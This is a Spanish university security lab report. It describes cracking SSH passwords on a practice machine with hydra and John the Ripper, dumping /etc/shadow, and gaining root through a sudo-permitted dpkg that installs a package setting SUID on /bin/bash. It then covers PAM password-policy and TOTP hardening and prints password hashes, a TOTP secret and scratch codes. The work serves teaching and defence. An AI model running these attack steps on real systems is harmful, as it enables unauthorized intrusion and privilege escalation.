

Informe FSI - Laboratorio 2

Fundamentos de la Seguridad Informática

Grupo 3

Facundo Bacigalupi

Matias Montano

Facultad de Ingeniería

Universidad de la República

22 de mayo de 2026

1. Primera parte: Cracking de contraseñas

Observando la información publicada por la empresa en `listadopersonal.html` y `empleados.html`, se puede deducir la política de asignación de nombres de usuario.

Ejemplo observado: Diego Hernancute AGUIRRE → `daguirre`

Notemos que revisando "listadopersonal.html" se hizo la primera lista de usuarios para atacar con hydra. Originalmente probamos una lista de usuarios formada por la primera letra del nombre y el apellido en minúsculas. También tuvimos en cuenta variaciones y truncaciones.

El primer paso fue escanear puertos a la máquina víctima (10.0.3.5) con `nmap`:

```
1 nmap 10.0.3.5
```

Listing 1: Escaneo con nmap

Resultados:

```
Starting Nmap 7.80 ( https://nmap.org ) at 2026-05-21 19:54 UTC
Nmap scan report for 10.0.3.5
Host is up (0.00018s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
```

Descargamos todo el contenido del puerto 80:

```
1 .
2 |-- css
3 |   '-- estilos.css
4 |-- empleados.html
5 |-- index.html
6 '-- quienes-somos.html
```

Listing 2: Estructura de archivos descargados

Estos archivos ayudaron a completar la lista de usuarios potenciales.

Con la lista de usuarios lista, probamos contraseñas débiles con `hydra`.

Comando usado:

```
1 hydra -L usuarios.txt -P contrasenas_faciles.txt ssh://10.0.3.5 -t 4 -w
  1.2 -o hydra_test.txt
```

Listing 3: Ataque con hydra

Donde:

- `-L usuarios.txt` → lista de usuarios
- `-P contrasenas_faciles.txt` → diccionario de contraseñas
- `ssh://10.0.3.5` → objetivo y servicio
- `-t 4 -w 1.2` → 4 hilos, 1.2 segundos de espera por hilo (hasta 240 intentos por minuto)
- `-o hydra_test.txt` → guarda credenciales encontradas

Al principio probamos con el diccionario que nos dieron, pero era muy grande. Así que optamos por un approach de contraseñas obvias como:

```
adminadmin
admin
root
pass
password
123
```

Y así encontramos el primer usuario: `mre:123` (tenía la shell bloqueada, solo ftp). Después probamos con usuario = contraseñaon:

```
1 hydra -C credenciales.txt ssh://10.0.3.5
```

Resultado:

- `surreta:surreta` (acceso completo)

Con `surreta` descargamos por ftp una copia del `/etc/shadow`. Esto nos permitió usar John the Ripper y saber qué usuarios tenían contraseña en el sistema.

Contenido del shadow:

```
1 surreta:
  $6$rqxwyesc$zAsBVpUSb3cyK1JsSm4MKJmTyiSyKWGQONjgfiiPnKVMqhmcd9uqnmiHv
  .wVd3YgEIBtnL23GnQg5iLanjiyx1:20583:0:99999:7:::
2 mre:$6$ifvbkleu$NGuWC2Z/At3FfpLBb//
  yPawIGzcFop2eVjMiTmAXyHvryxQbIuslyfQHUN5v7E60oPSyXXua2Kw.158RYTKv4
  /:20583:0:99999:7:::
3 daguirre:$6$icsqorkb$Pi9g/LW7LpYzBbswIjVSagqTp9traSPfgNX5eGeazHUL5.SsIH
  /7TBBLRp.pbfmzBqYB/UDgMOZEBt1Ipis8y1:20583:0:99999:7:::
4 nmacgarry:$6$xcbhakri$hCA9R0ydm2Q3hyN6J5isohAC5rF0o.wTrNtSTklxuLr0/
  tyvB4nRAE2PjMbMwuALsiRrwSEIbrZiyr3av43q31:20583:0:99999:7:::
5 jadrover:$6$bawnjosp$5dVs4qNdpYBbHh3/
  YaqGiRkpzq6yTkumTj695S40AADXgZffcG76DEpkxeVBLtYF2NVDJi4S6Gpf5LNyG77kT
  .:20583:0:99999:7:::
6 root:
  $6$yusvwqkt$XG1TL1BfevHD5VHtYKDvJh14vRa48VgRX5QfjEVo9KD53Zs5IRi5iM8/
  H9X7dnVQmDsBoJSIs/Xq2SSGbSoB.1:20583:0:99999:7:::
```

Listing 4: shadow

Usando `john` con el diccionario `dict.txt` y las reglas por defecto, encontramos:

- `daguirre:contratreta`

Con estas credenciales logramos una shell interactiva, empezando así la segunda parte del laboratorio.

2. Segunda parte: Escalada de privilegios

Ya teníamos la credencial `daguirre:contratreta` (destaco que `daguirre` fue el usuario que usamos para la escalada). Accedimos y, como primer paso, hicimos un reconocimiento del sistema. Para eso ejecutamos `linpeas` (Linux Privilege Escalation Awesome Script).

Primero lo movimos desde la máquina atacante a la máquina víctima:

```
1 scp /usr/local/bin/linpeas.sh daguirre@10.0.3.5:/tmp/linpeas.sh
```

Listing 5: Mover linpeas a la víctima

Luego lo ejecutamos:

```
1 daguirre@victim-3:$ chmod +x linpeas.sh
2 daguirre@victim-3:$ ./linpeas.sh 2>&1 | tee linpeas_output.txt
```

Listing 6: Ejecutar linpeas

Después de un tiempo teníamos el output. Esto nos dio información clave:

[+] System Information

Linux version: 5.15.0-75-generic (#82-Ubuntu SMP Tue Jun 6 23:10:23 UTC 2023)
OS: Ubuntu 22.04.2 LTS

[+] Users with shell

root:x:0:0:root:/root:/bin/bash
mre:x:1002:1003:Miguel A. Re:/home/mre:/bin/bash
daguirre:x:1003:1004:Diego Hernan Aguirre:/home/daguirre:/bin/bash
jadrover:x:1005:1006:Jorge G. Adrover:/home/jadrover:/bin/bash

[+] Sudo privileges

User daguirre may run the following commands on victim-3:
(root) NOPASSWD: /usr/bin/dpkg, /usr/bin/apt-get

[+] SUID binaries

/usr/bin/sudo
/usr/bin/passwd
/usr/bin/chsh

Consultamos fuentes de información para saber cómo escalar.

Según la checklist de escalada de privilegios en Linux de HackTricks, uno de los primeros vectores a verificar es:

“Can you execute any command with sudo? Can you use it to READ, WRITE or EXECUTE anything as root?”— Fuente: HackTricks - SUDO and SUID commands

La idea vino viendo el output de linpeas, específicamente esta parte:

[+] Sudo privileges

User daguirre may run the following commands on victim-3:
(root) NOPASSWD: /usr/bin/dpkg, /usr/bin/apt-get

También revisamos GTFOBins para precisar el ataque:

”dpkg -i can spawn an interactive system shell when executed via sudo because the acquired privileges are not dropped.”— Fuente: GTFOBins - dpkg#shell

Esto nos dice que un usuario normal (en este caso **daguirre**) puede instalar paquetes con privilegios de superusuario. Esto es extremadamente crítico porque si armamos un paquete **.deb** que ejecute un script después de la instalación, y le decimos que mantenga los privilegios, podemos acceder a una shell de root. Es decir los scripts **postinst** se ejecutan automáticamente con privilegios de root después de instalar un paquete. Esto es lo que explotamos.

Además, queremos activar el bit SUID, que es un permiso especial en Linux que permite ejecutar un archivo con los privilegios de su propietario (generalmente root).

`-rwsr-xr-x` # notar la **s** que indica SUID

Primero creamos un archivo de metadatos en `/tmp/pwn/DEBIAN/control`:

```
Package: pwn
Version: 1.0
Section: custom
Priority: optional
Architecture: all
Maintainer: root
Description: romper todo
```

Luego creamos el archivo crítico, el **postinst**, en `/tmp/pwn/DEBIAN/postinst`:

```
1 #!/bin/bash
2 chmod u+s /bin/bash
```

Listing 7: Script postinst

aca `chmod u+s` activa el bit SUID en `/bin/bash`, permitiendo que cualquier usuario ejecute bash con privilegios de root.

ahora compilamos el paquete:

```
1 daguirre@victim-3:~$ dpkg-deb --build /tmp/pwn /tmp/pwn.deb
```

Lo instalamos con `sudo` (gracias a que daguirre lo tenia habilitado):

```
1 daguirre@victim-3:~$ sudo dpkg -i /tmp/pwn.deb
```

y finalmente, ejecutamos bash con modo privilegiado:

```
1 daguirre@victim-3:~$ bash -p
2 bash-5.1#
```

aca la flag `-p` (privileged mode) le dice a bash que no baje los privilegios aunque se ejecute con SUID.

Verificamos que obtuvimos acceso root:

```
1 bash-5.1# whoami
2 root
```

y por ultimo descargamos `/root/flag.txt`. Podríamos haber usado `scp`, pero simplemente lo leímos y copiamos directamente:

```
1 bash-5.1# cat /root/flag.txt
2 ok?vi{~xs$(1@qrd&<_)4ne!‘aw-t1f
```

3. Tercera parte: Fortalecimiento de autenticación

En esta parte configuramos un entorno con una máquina virtual. Descargamos de osboxes.org Ubuntu Oracular Oriole 24.10.

Podemos ver el SO de la máquina virtual:

```
1 osboxes@osboxes:~$ cat /etc/os-release
2 PRETTY_NAME="Ubuntu 24.10"
3 NAME="Ubuntu"
4 VERSION_ID="24.10"
5 VERSION="24.10 (Oracular Oriole)"
6 VERSION_CODENAME=oracular
7 ID=ubuntu
8 ID_LIKE=debian
9 HOME_URL="https://www.ubuntu.com/"
10 SUPPORT_URL="https://help.ubuntu.com/"
11 BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
12 PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/
   privacy-policy"
13 UBUNTU_CODENAME=oracular
14 LOGO=ubuntu-logo
15 osboxes@osboxes:~$
```

Listing 8: Sistema operativo

Primero instalamos las librerías necesarias:

```
1 sudo apt update
2 sudo apt install -y libpam-passwdqc libpam-google-authenticator
```

Listing 9: Instalación de paquetes

Donde:

- libpam-passwdqc: para reforzar la política de contraseñas
- libpam-google-authenticator: para el segundo factor de autenticación (2FA)

Editamos el archivo `/etc/pam.d/common-password`:

```
1 sudo nano /etc/pam.d/common-password
```

Modificamos la línea original:

```
password      requisite      pam_passwdqc.so
```

Por esta:

```
password requisite pam_passwdqc.so min=disabled,19,19,15,12 passphrase=0 retry=4 match=
```

Consultamos `man passwdqc.conf`. El parámetro `min` acepta un array con la forma `min=N0,N1,N2,N3,N4` donde:

- N0: longitud mínima para contraseñas de 1 sola clase
- N1: longitud mínima para contraseñas con 2 clases
- N2: longitud mínima para passphrase (ej: arvejas francia harlequin impresora)
- N3: longitud mínima para contraseñas con 3 clases
- N4: longitud mínima para contraseñas con 4 o más clases

Las clases de caracteres son: mayúsculas, minúsculas, dígitos y caracteres especiales.

3.0.1. Política implementada

Con nuestra configuración logramos:

- Si tiene entre 12 y 14 caracteres → debe usar las 4 clases
- Si tiene entre 15 y 18 caracteres → debe usar al menos 3 clases
- Si tiene 19 o más caracteres → alcanza con 2 clases
- Usar una sola clase nunca está permitido

3.0.2. Otras opciones configuradas

- `passphrase=0`: deshabilita el modo passphrase
- `retry=4`: hasta 4 intentos antes de cancelar el cambio
- `match=4`: detecta substrings de 4 o más caracteres del nombre de usuario
- `similar=deny`: la nueva contraseña no puede parecerse a la anterior

Caso 1: Menos de 12 caracteres con una clase

```
1 passwd
2 # Nueva: 123
3 BAD PASSWORD: The password is shorter than 8 characters
```

Caso 2: Menos de 12 caracteres con dos clases

```
1 passwd
2 # Nueva: abcd1234
3 BAD PASSWORD: The password fails the dictionary check - it is too
  simplistic/systematic
```

Caso 3: 15 caracteres con 3 clases (válida)

```
1 passwd
2 # Nueva: p2qwer23Sds1cxv
3 passwd: password updated successfully
```

Caso 4: 12 caracteres con 4 clases (válida)

```
1 passwd
2 # Nueva: p2q&*wer23Sd
3 passwd: password updated successfully
```

Editamos el archivo `/etc/pam.d/common-auth`:

```
1 sudo nano /etc/pam.d/common-auth
```

Este archivo es incluido por `login`, `ssh`, `sudo`, etc. mediante `@include common-auth`. Agregamos al principio:

```
auth required pam_google_authenticator.so
```

Ejecutamos para nuestro usuario:

```
1 google-authenticator
```

Esto genera un código QR para escanear con cualquier app TOTP (Google Authenticator, Authy, etc.). También se puede ingresar el secreto manualmente.

Do you want authentication tokens to be time-based (y/n) y

Warning: pasting the following URL into your browser exposes the OTP secret to Google
<https://www.google.com/chart?chs=200x200&chld=M|0&cht=qr&chl=otpauth://totp/osboxes>

Your new secret key is: 4C7H6CUB5WV7PIU2DN6GFKBE34

Enter code from app (-1 to skip): 960375

Code confirmed

Your emergency scratch codes are:

42837524

16266977

41530755

42083533

48716730

Do you want me to update your `"/home/osboxes/.google_authenticator"` file? (y/n) y

Do you want to disallow multiple uses of the same authentication token? This restricts you to one login about every 30s, but it increases your chances to notice or even prevent man-in-the-middle attacks (y/n) y

By default, a new token is generated every 30 seconds by the mobile app. In order to compensate for possible time-skew between the client and the server, we allow an extra token before and after the current time. This allows for a time skew of up to 30 seconds between authentication server and client. If you experience problems with poor time synchronization, you can increase the window from its default size of 3 permitted codes (one previous code, the current code, the next code) to 17 permitted codes (the 8 previous codes, the current code, and the 8 next codes). This will permit for a time skew of up to 4 minutes between client and server.

Do you want to do so? (y/n) N

If the computer that you are logging into isn't hardened against brute-force login attempts, you can enable rate-limiting for the authentication module. By default, this limits attackers to no more than 3 login attempts every 30s. Do you want to enable rate-limiting? (y/n) y

es decir, las opciones hablan de:

- **Tokens basados en tiempo (TOTP):** con y el código cambia cada 30 segundos. Con n usa HOTP (cambia al usarlo). Recomendado: y.
- **Actualizar archivo `/.google_authenticator`:** hay que responder y, sino no se guarda la configuración.
- **Evitar usar el mismo token varias veces:** con y cada código de 30s solo se puede usar una vez (previene ataques de replay). Recomendado: y.
- **Aumentar ventana de tiempo:** y acepta códigos de hasta 4 minutos antes/después. n solo ± 30 segundos. Por seguridad: n.

- **Limitación de tasa (rate-limiting):** con y máximo 3 intentos cada 30 segundos. Recomendado: y.

y despues tenemos los Códigos de emergencia

Your emergency scratch codes are:

42837524
16266977
41530755
42083533
48716730

Estos son códigos de un solo uso. Sirven cuando no se tiene acceso a la app TOTP (ej: pérdida del celular). En vez del código de 6 dígitos, se usa uno de estos.

Algunas buenas practicas:

- Guardar los códigos en un lugar seguro, separado de la app TOTP
- Cada código se puede usar una sola vez
- Sirven para acceder y reconfigurar el 2FA con un nuevo secreto

y Recomendaciones finales:

- Sincronizar la hora del dispositivo y del servidor mediante NTP para evitar problemas con TOTP
- No compartir los códigos de emergencia
- En caso de pérdida del dispositivo, usar un código de emergencia y configurar nuevamente el 2FA